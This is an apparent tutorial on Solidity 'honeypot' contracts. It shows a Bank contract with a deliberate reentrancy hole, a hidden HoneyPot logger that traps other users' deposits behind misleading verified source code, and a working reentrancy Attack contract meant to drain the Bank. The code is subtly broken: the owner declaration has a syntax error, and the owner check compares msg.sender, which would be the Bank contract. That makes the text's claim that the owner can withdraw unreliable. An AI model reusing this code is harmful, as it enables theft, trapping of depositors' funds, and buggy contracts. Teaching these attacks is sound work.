A honeypot is a computer or computer system intended to mimic likely targets of cyberattacks.
This is a contract that looks like it has a reectrancy vulnerability but it is actually a trap to catch attackers!
Bank.sol file
contract Bank {
mapping(address => uint) public balances;
Logger logger;
constructor(Logger _logger) {
logger = Logger(_logger); // NOTICE THAT THE ADRESS OF THE LOGGER IS SET IN THE CONSTRUCTOR
}
function deposit() public payable {
balances[msg.sender] += msg.value;
logger.log(msg.sender, msg.value, "Deposit");
}
function withdraw(uint _amount) public {
require(_amount <= balances[msg.sender], "Insufficient funds");
(bool sent, ) = msg.sender.call{value: _amount}(""); // REECTRANCY HERE
require(sent, "Failed to send Ether");
balances[msg.sender] -= _amount;
logger.log(msg.sender, _amount, "Withdraw"); // TRAP HERE
}
}
contract Logger { // The Logger contract
event Log(address caller, uint amount, string action);
function log(
address _caller,
uint _amount,
string memory _action
) public {
emit Log(_caller, _amount, _action);
}
}
The Logger
contract in the file is actually not being used. We deploy and pass another contract when deploying the Bank
contract. However, when the code is verified on Etherscan, the dummy Logger
contract will be visible in the source code.
Honeypot.sol file
contract HoneyPot {
address private owner:
constructor(address _owner) {
owner = _owner;
}
function log(
address _caller,
uint _amount,
string memory _action
) public {
if (equal(_action, "Withdraw") && msg.sender != owner) { // ONLY OWNER ADDRESS CAN WITHDRAW
revert("It's a trap");
}
}
// Function to compare strings using keccak256
function equal(string memory _a, string memory _b) public pure returns (bool) {
return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b));
}
}
This contract will be used as the Logger
contract when deploying the Bank
contract. Log
function will revert if the action
is Withdraw
and the caller
is not the owner
address. Thus, the owner
address will be able to withdraw all the funds and no one else can withdraw any funds.
Attack Example
contract Attack {
Bank bank;
constructor(Bank _bank) {
bank = Bank(_bank); // set the bank contract address
}
fallback() external payable { // this function is called when the contract receives ether
if (address(bank).balance >= 1 ether) { // if the bank contract has at least 1 ether
bank.withdraw(1 ether); // withdraw 1 ether
}
}
function deposit() public payable {
bank.deposit{value: 1 ether}(); // deposit 1 ether
}
function withdraw() public payable {
bank.withdraw(1 ether); // initial withdraw, this will revert
}
}
The attack
function would normally start a chain of transactions that would eventually drain all the ether in the Bank contract, however, in our case the withdraw
function would revert causing the attacker
to lose all the ether.